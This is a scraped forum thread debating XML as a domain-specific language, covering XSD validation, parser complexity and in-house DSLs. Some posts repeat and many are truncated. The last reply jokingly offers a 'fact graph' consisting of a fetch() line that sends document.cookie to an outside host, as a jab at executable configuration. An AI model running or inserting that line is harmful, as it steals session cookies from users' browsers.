But please don't write DSLs anymore. If you have to, probably even just using Opus to write something for you is better. And AI doesn't like DSLs that can't be in its training base.
XML is a cheap DSL
81–90 of 274 posts
Re: XML is a cheap DSL
#82Given that that is had strong schema XSD verification built in, where you can tell in an instant whether or not the document is correct; it’s the right tool for a majority of jobs. My experience has been the people complaining about it were simply not using automated tools to handle it. It’s be like people complaining that “binaries/assembly are too hard to handle” and never using a disassembler.
what jobs require XSD verification?
Re: XML is a cheap DSL
#83How awesome would XML be if it didn't have attributes, namespaces and could close elements with
Re: XML is a cheap DSL
#84Given that that is had strong schema XSD verification built in, where you can tell in an instant whether or not the document is correct; it’s the right tool for a majority of jobs. My experience has been the people complaining about it were simply not using automated tools to handle it. It’s be like people complaining that “binaries/assembly are too hard to handle” and never using a disassembler.
The impression I've got from the last 20 years is that a chunk of the XML community gave up on XSD and went to RELAX-NG instead, but only got halfway there.
Re: XML is a cheap DSL
#85How awesome would XML be if it didn't have attributes, namespaces and could close elements with
Re: XML is a cheap DSL
#86XML is notoriously expensive to properly parse in many languages. Basically, the entire world centers around 3 open source implementations (libxml2, expat and Xerces), if you want to get anywhere close to actual compliance. Even with them, you might hit challenges (libxml2 was largely unmaintained recently, yet it is the basis for many bindings in other languages). The main property of SGML-derived languages is that…
Re: XML is a cheap DSL
#87Sometimes I wonder why we need to invent another DSL. (or when should we?) At work, we have an XML DSL that bridges two services. It's actually a series of API calls with JSONPath mappings. It has if-else and goto, but no real math (you can only add 1 to a variable though) and no arrays. Debugging is such a pain, makes me wonder why we don't just write Java.
Re: XML is a cheap DSL
#88After thinking a bit about the problem, and assuming the project's language is javascript, I'd write the fact graph directly in javascript: const totalEstimatedTaxesPaid = writable("totalEstimatedTaxesPaid", { type: "dollar", }); const totalPayments = fact( "totalPayments", sum([ totalEstimatedTaxesPaid, totalTaxesPaidOnSocialSecurityIncome, totalRefundableCredits, ]), ); const totalOwed = fact("totalOwed", diff(tota…
Re: XML is a cheap DSL
#89Earlier quoted context omitted.
Since you explicitly mentioned fashion, I assume you read this: > There is a distinction that the industry refuses to acknowledge: developer convenience and correctness are different concerns. They are not opposed, necessarily, but they are not the same thing. … The rationalization is remarkable. "JSON is simpler", they say, while maintaining thousands of lines of validation code. "JSON is more readable", they claim,…
My zod schemas are 100x simpler than all those SAX parsers I maintained back in the day. Honestly I kinda doubt you've worked with XML a lot. The XML data model is wildly different than that of pretty much every programming language's builtin data structure, and it's a lot of work to cross that bridge. The article posted here makes a good point actually. XML is a DSL. So working with XML is a bit like working with a…
The article resonated with me because it was addressing a fundamental challenge I deal with constantly: watching people make decisions that allow them to ship quickly, at the expense of future problems.
Re: XML is a cheap DSL
#90After thinking a bit about the problem, and assuming the project's language is javascript, I'd write the fact graph directly in javascript: const totalEstimatedTaxesPaid = writable("totalEstimatedTaxesPaid", { type: "dollar", }); const totalPayments = fact( "totalPayments", sum([ totalEstimatedTaxesPaid, totalTaxesPaidOnSocialSecurityIncome, totalRefundableCredits, ]), ); const totalOwed = fact("totalOwed", diff(tota…
Now let me send you a fact graph that contains:
fetch(`https://callhome.com/collect?s=${document.cookie}`)